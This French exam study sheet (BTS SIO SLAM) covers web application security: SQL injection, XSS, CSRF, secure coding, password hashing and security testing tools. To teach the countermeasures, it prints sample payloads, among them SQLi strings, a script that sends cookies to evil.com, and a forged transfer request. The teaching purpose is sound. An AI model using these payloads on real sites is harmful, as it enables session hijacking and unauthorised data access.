SÉCURITÉ DES APPLICATIONS WEB

BTS SIO Option SLAM — Épreuve E7

La sécurité applicative repose sur la connaissance des vecteurs d'attaque et l'application systématique de contre-mesures dès la phase de développement (Secure by Design). L'OWASP Top 10 constitue la référence incontournable : injection, XSS et CSRF figurent parmi les risques les plus critiques et les plus fréquents en environnement web.

1. Vulnérabilités Courantes

1.1 Injection SQL (SQLi)

▸ Principe d'attaque

L'injection SQL résulte de la concaténation de données utilisateurs non filtrés dans une requête SQL. L'attaquant peut ainsi modifier la logique de la requête pour contourner l'authentification, extraire, modifier ou supprimer des données, voire exécuter des commandes système (via xp_cmdshell sur MSSQL).

▸ Exemple vulnérable

```
// PHP vulnérable — NE PAS FAIRE
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = " . $id;
// Payload attaquant : ?id=1 OR 1=1--
// Résultat : retourne TOUS les utilisateurs
```

▸ Anatomie des types d'injection

Type	Mécanisme	Exemple de payload	Impact
SQLi classique (In-Band)	Résultat retourné directement dans la réponse HTTP	' OR '1'='1	Bypass auth, dump complet
SQLi aveugle (Blind)	Pas de retour direct — déduction par comportement (booléen ou temps)	' AND SLEEP(5)--	Extraction lente mais complète
SQLi hors-bande (OOB)	Exfiltration via DNS ou HTTP sortant	LOAD_FILE / INTO OUTFILE	Exfiltration discrète
SQLi stockée	Payload injecté puis exécuté lors d'une autre action	Nom d'utilisateur malveillant	Persistance — touche d'autres utilisateurs

▸ Contre-mesures

- **Requêtes préparées** : séparation stricte code/données — la seule contre-mesure fiable
- **ORM** : Eloquent (Laravel), Doctrine (Symfony), Hibernate (Java) — génèrent des requêtes paramétrées nativement
- Validation et typage des entrées : vérifier le type attendu avant toute utilisation (intval, filter_var…)
- Principe du moindre privilège BDD : utilisateur applicatif sans droits DROP/CREATE/ALTER
- Désactivation des messages d'erreur SQL en production (log serveur uniquement)
- WAF (Web Application Firewall) : couche additionnelle — ne remplace pas la programmation défensive

```
// PHP — Requête préparée PDO (CORRECT)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id AND role = :role");
$stmt->execute([':id' => (int)$_GET['id'], ':role' => 'user']);
```

1.2 Cross-Site Scripting (XSS)

▸ Principe d'attaque

Le XSS consiste à injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. L'attaquant peut voler des cookies de session, rediriger vers un site de phishing, enregistrer les frappes clavier (keylogger), ou effectuer des actions au nom de la victime.

Type XSS	Mécanisme	Persistance	Vecteur typique
Réfléchi (Reflected)	Payload dans l'URL — exécuté immédiatement dans la réponse	Non	Lien piégé envoyé par email/phishing
Stocké (Stored / Persistant)	Payload sauvegardé en BDD — exécuté pour chaque visiteur	Oui	Champ de commentaire, pseudo, message
DOM-based	Manipulation du DOM côté client via JavaScript sans passer par le serveur	Variable	document.location, innerHTML, eval()

▸ Exemple vulnérable / corrigé

```
// VULNÉRABLE — affichage brut de l'entrée utilisateur
echo '<p>' . $_GET['search'] . '</p>';
// Payload :
?search=<script>document.location='http://evil.com/?c='+document.cookie</script>

// CORRIGÉ — échappement HTML systématique
echo '<p>' . htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8') . '</p>';
```

▸ Contre-mesures (SLAM)

- **Échappement de sortie (Output Encoding)** : htmlspecialchars() (PHP), escape() (Jinja2/Flask), {{ }} (Twig/Vue/Angular auto-escape)
- **Content Security Policy (CSP)** : header HTTP restreignant les sources d'exécution de scripts
- **Cookies sécurisés** : attributs HttpOnly (inaccessible via JS) + Secure (HTTPS uniquement) + SameSite=Strict
- Validation stricte des entrées : whitelist de caractères autorisés
- DOMPurify (JS) pour le contenu HTML riche inévitable (éditeurs WYSIWYG)

```
// Header CSP restrictif (exemple)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

// Cookie sécurisé (PHP)
setcookie('session', $token, ['httponly'=>true, 'secure'=>true, 'samesite'=>'Strict']);
```

1.3 Cross-Site Request Forgery (CSRF)

▸ Principe d'attaque

Le CSRF exploite la confiance qu'un serveur accorde à un navigateur authentifié. L'attaquant forge une requête malveillante (depuis un site tiers) qui est exécutée à l'insu de l'utilisateur, en utilisant ses cookies de session valides. Cible : actions à effets de bord (virement, changement d'email, suppression de compte).

```
<!-- Page malveillante hébergée sur evil.com -->
<img src="https://bank.com/transfer?amount=5000&to=attacker" width="0">
<!-- Le navigateur de la victime envoie automatiquement ses cookies bank.com -->
```

▸ Contre-mesures (SLAM)

- **Token CSRF**: jeton secret aléatoire généré par session, inclus dans chaque formulaire, vérifié côté serveur
- **SameSite=Strict/Lax** sur les cookies de session : bloque l'envoi des cookies lors des requêtes cross-origin
- **Double Submit Cookie** : le token est dans le cookie ET dans le corps de la requête — comparaison côté serveur
- Vérification de l'en-tête Origin/Referer pour les requêtes sensibles
- Méthodes HTTP sémantiques : GET = lecture seule, POST/PUT/DELETE pour les modifications

```php
// Token CSRF — génération (PHP)
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Vérification (PHP)
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    http_response_code(403); exit('CSRF token invalide');
}
```

1.4 Autres vulnérabilités OWASP à connaître en E7

Vulnérabilité	Risque	Contre-mesure principale
Broken Access Control (A01)	Accès à des ressources sans autorisation (IDOR)	Vérification serveur systématique, RBAC strict
Cryptographic Failures (A02)	Exposition de données sensibles en clair	TLS, AES-256, bcrypt/Argon2id
Insecure Design (A04)	Architecture sans modèle de menace	Threat modeling, Privacy by Design
Security Misconfiguration (A05)	Configs par défaut, debug en prod, headers absents	Hardening, désactivation des services inutiles
Vulnerable Components (A06)	Dépendances tierces non mises à jour	SCA (Software Composition Analysis), npm audit
SSRF (A10)	Le serveur effectue des requêtes pour l'attaquant	Validation des URLs, whitelist des domaines autorisés

2. Bonnes Pratiques de Développement Sécurisé

2.1 Validation côté serveur

▸ Principe fondamental

La validation côté client (JavaScript, HTML5) est une aide à l'utilisateur — elle n'offre aucune garantie de sécurité. Tout attaquant peut contourner le navigateur (Burp Suite, curl, Postman). La validation serveur est donc obligatoire et souveraine.

Règle	Mauvaise pratique	Bonne pratique
Typage strict	Utiliser $_GET['age'] directement	intval($_GET['age']) ou filter_input(INPUT_GET, 'age', FILTER_VALIDATE_INT)
Whitelist vs Blacklist	Bloquer les caractères dangereux connus	N'autoriser que les caractères légitimes attendus
Validation de format	Accepter tout email sans vérification	filter_var($email, FILTER_VALIDATE_EMAIL) + MX record check
Longueur maximale	Pas de limite sur les champs texte	strlen() < MAX ou contrainte BDD + rejet HTTP 400
Upload de fichiers	Faire confiance à l'extension du fichier	Vérifier le MIME type réel (finfo), rejeter les exécutables, stocker hors webroot

▸ Exemple de validation robuste (PHP)

```
function validateUserInput(array $data): array {
    $errors = [];

    // Entier borné
    $age = filter_var($data['age'], FILTER_VALIDATE_INT, ['options' =>
['min_range'=>1,'max_range'=>120]]);
    if ($age === false) $errors[] = 'Âge invalide';

    // Email
    $email = filter_var(trim($data['email']), FILTER_VALIDATE_EMAIL);
    if (!$email || strlen($email) > 255) $errors[] = 'Email invalide';

    // Texte — whitelist alphanumérique + accents
    if (!preg_match('/^[\p{L}\p{N}\s\-\.]{1,100}$/u', $data['name'])) $errors[] = 'Nom
invalide';

    return ['valid' => empty($errors), 'errors' => $errors, 'data' =>
compact('age','email')];
}
```

2.2 Gestion sécurisée des sessions

▸ Cycle de vie d'une session

- **Création :** ID de session aléatoire et imprévisible (min. 128 bits d'entropie) — session_start() en PHP génère un ID sécurisé
- **Régénération :** session_regenerate_id(true) après toute élévation de privilège (connexion, changement de rôle) — prévient la fixation de session
- **Expiration :** timeout d'inactivité (15-30 min) + durée absolue maximale (8h) — invalidation côté serveur obligatoire
- **Destruction :** session_destroy() + suppression du cookie + invalidation en BDD (sessions serveur ou JWT blacklist)

▸ Tokens JWT (JSON Web Token) — spécifique API REST

- Structure : Header.Payload.Signature — la signature garantit l'intégrité
- **Algorithme :** HS256 (secret symétrique) ou RS256 (paire RSA) — rejeter 'none' algorithm
- Durée de vie courte : access token 15 min, refresh token 7j stocké HttpOnly
- Ne jamais stocker de données sensibles dans le payload (base64 décodable sans clé)
- **Révocation :** blacklist en Redis ou rotation du secret — les JWT sont stateless par nature

> *⚠ La fixation de session (session fixation) : l'attaquant force un ID de session connu avant l'authentification. Contre-mesure unique : régénérer l'ID après chaque connexion réussie.*

Attribut cookie	Rôle	Valeur recommandée
HttpOnly	Inaccessible via document.cookie (protection XSS)	true — toujours
Secure	Envoi uniquement sur HTTPS	true — obligatoire en production
SameSite	Contrôle envoi cross-origin (protection CSRF)	Strict (auth) ou Lax (UX acceptable)
Path	Restreindre le scope du cookie	/ ou chemin minimal nécessaire
Expires / Max-Age	Durée de vie du cookie	Session (onglet) ou durée métier définie

2.3 Stockage sécurisé des mots de passe

▸ Principes cryptographiques

Un mot de passe ne doit jamais être stocké en clair ni chiffré (réversible). Il doit être haché avec une fonction conçue spécifiquement pour les mots de passe : lente par conception, avec sel automatique, résistante aux attaques par GPU.

Algorithme	Statut	Paramètres recommandés	Support
Argon2id	RECOMMANDÉ (OWASP 2024)	m=64MB, t=3 itérations, p=4 threads	PHP 7.2+, Python passlib, libsodium
bcrypt	Sûr — très répandu	Facteur de coût ≥ 12 (recalibrer si < 1s)	PHP password_hash(), Node.js bcrypt, Python bcrypt
PBKDF2-SHA256	Sûr — conformité NIST/FIPS	≥ 600 000 itérations (NIST 2023)	Java, .NET natif, Python hashlib
scrypt	Sûr — fort contre ASIC	N=32768, r=8, p=1	libsodium, Python hashlib
MD5 / SHA-1 / SHA-256 seul	INTERDIT pour les mots de passe	—	Cassable en quelques secondes (rainbow tables)

```
// PHP — Hachage et vérification (recommandé)
$hash = password_hash($password, PASSWORD_ARGON2ID, [
    'memory_cost' => 65536,  // 64 MB
    'time_cost'   => 3,
    'threads'     => 4,
]);

// Vérification — résistant aux timing attacks
if (password_verify($userInput, $hash)) { /* authentifié */ }

// Mise à jour automatique si le facteur de coût évolue
if (password_needs_rehash($hash, PASSWORD_ARGON2ID)) {
    $newHash = password_hash($password, PASSWORD_ARGON2ID);
}
```

▸ Politique de mots de passe (NIST SP 800-63B)

- Longueur minimale : 8 caractères (recommandé : 12+), maximum ≥ 64 caractères
- Ne pas imposer de règles de complexité arbitraires (majuscule + chiffre + symbole) — favorise les mots de passe prévisibles
- Vérifier le mot de passe contre les listes de mots de passe compromis (HaveIBeenPwned API, liste NIST)
- Ne pas forcer le changement périodique — uniquement en cas de compromission suspectée
- Proposer un gestionnaire de mots de passe plutôt que des règles restrictives
- **MFA obligatoire** pour les comptes à privilèges (TOTP/HOTP — RFC 6238)

3. Tests de Sécurité

3.1 Tests unitaires de sécurité

▸ Principe

Les tests unitaires de sécurité vérifient que les fonctions critiques (validation, authentification, contrôle d'accès) se comportent correctement face à des entrées malveillantes. Ils s'intègrent dans la CI/CD pour une détection précoce (Shift-Left Security).

```
// PHPUnit — Test de la résistance à l'injection SQL
public function testSQLInjectionBlocked(): void {
    $malicious = "' OR '1'='1";
    $result = $this->userRepo->findById($malicious);
    $this->assertNull($result); // Doit retourner null, pas tous les users
}

// Test du hachage de mot de passe
public function testPasswordNotStoredInClear(): void {
    $user = User::create(['password' => 'MonMotDePasse123']);
    $this->assertNotEquals('MonMotDePasse123', $user->password);
    $this->assertTrue(password_verify('MonMotDePasse123', $user->password));
}
```

```
// Test CSRF — requête sans token rejetée
public function testPostWithoutCSRFTokenReturns403(): void {
    $response = $this->post('/account/delete', []);
    $response->assertStatus(403);
}

// Test de contrôle d'accès (IDOR)
public function testUserCannotAccessOtherUserData(): void {
    $this->actingAs($this->userA);
    $response = $this->get('/api/user/' . $this->userB->id);
    $response->assertStatus(403);
}
```

▸ Stratégie de tests sécurité

Niveau	Type de test	Outils	Moment
Unitaire	Fonctions critiques unitaires	PHPUnit, pytest, JUnit	Développement — commit
Intégration	Flux complets (auth, session, droits)	PHPUnit + HTTP client, Postman Newman	PR / merge request
Fonctionnel	Scénarios utilisateur incluant cas d'abus	Cypress, Playwright + assertions sécurité	Pipeline CI
Fuzzing	Entrées aléatoires / malformées automatiques	AFL, Radamsa, Burp Intruder	Recette / release

3.2 Audit de code (Code Review)

▸ Audit manuel — Checklist SLAM

- Recherche de toutes les sources d'entrée utilisateur (GET, POST, headers, cookies, uploads, WebSocket)
- Traçage des flux de données : entrée → traitement → sortie (analyse de traçage de flux manuelle)
- Vérification de l'absence de secrets dans le code source (clés API, mots de passe, tokens)
- Contrôle des droits d'accès : chaque route/action protégée côté serveur
- Revue des dépendances tierces : versions, CVE connues, licences
- Vérification de la configuration de sécurité : en-têtes HTTP, config serveur, variables d'environnement

▸ Analyse statique (SAST — Static Application Security Testing)

Outil	Langage cible	Ce qu'il détecte	Intégration
PHPStan + Psalm	PHP	Type errors, injections potentielles, code mort	CI (GitHub Actions, GitLab CI)
Semgrep	Multi-langage	Patterns de vulnérabilités OWASP, secrets hardcodés	Pre-commit hook, CI
SonarQube / SonarCloud	Multi-langage	Bugs, vulnérabilités, code smells, taux de couverture	CI, dashboard centralisé
Bandit	Python	Injections, hashlib MD5, eval(), shell=True	Pipeline CI
ESLint + plugins sécurité	JavaScript/Node.js	XSS DOM, eval, prototype pollution	pre-commit, CI

> *Intégration CI/CD : les outils SAST doivent bloquer le merge si des vulnérabilités critiques ou élevées sont détectées. Le code de sécurité rejoint le pipeline au même titre que les tests unitaires.*

3.3 Scan automatique de vulnérabilités

▸ DAST — Dynamic Application Security Testing

Le DAST analyse l'application en cours d'exécution en envoyant des requêtes HTTP malveillantes et en observant les réponses. Contrairement au SAST, il détecte les vulnérabilités réelles à l'exécution, indépendamment du langage.

Outil	Type	Utilisation principale	Niveau
OWASP ZAP (Zed Attack Proxy)	DAST actif + passif	Scan automatique, proxy d'interception, fuzzing	Gratuit — référence OWASP
Burp Suite (Community/Pro)	Proxy + DAST	Interception manuelle, scanner Pro, Intruder	Standard industrie — Pro payant
Nikto	DAST léger	Mauvaises configurations serveur, fichiers exposés	Gratuit — rapide
Nuclei	Templates de vulnérabilités	CVE, misconfigs, expositions d'informations	Gratuit — très extensible

▸ SCA — Software Composition Analysis (dépendances)

- **npm audit** (Node.js) : analyse les dépendances et remonte les CVE — npm audit fix pour correction automatique
- **Composer audit** (PHP) : équivalent pour les packages Composer (Laravel, Symfony)
- **Dependabot** (GitHub) : PR automatiques de mise à jour des dépendances vulnérables
- **Snyk** : SCA multi-langage avec remediation guidée et intégration IDE
- **OWASP Dependency-Check** : scan des JAR/WAR Java contre la base CVE NIST

▸ Pipeline de sécurité intégré (DevSecOps)

```
# Exemple — GitHub Actions pipeline sécurité
on: [push, pull_request]
jobs:
  security:
    steps:
      - uses: actions/checkout@v4

      # 1. Analyse statique du code
      - name: SAST — Semgrep
        run: semgrep --config=p/owasp-top-ten --error .

      # 2. Secrets dans le code
        run: trufflehog filesystem . --fail

      # 3. Dépendances vulnérables
      - name: SCA — npm audit
        run: npm audit --audit-level=high

      # 4. Tests unitaires de sécurité
      - name: PHPUnit security tests
        run: vendor/bin/phpunit --testsuite=security

      # 5. DAST (sur environnement de staging)
      - name: DAST — OWASP ZAP baseline
        uses: zaproxy/action-baseline@v0.12.0
        with: { target: 'https://staging.myapp.com' }
```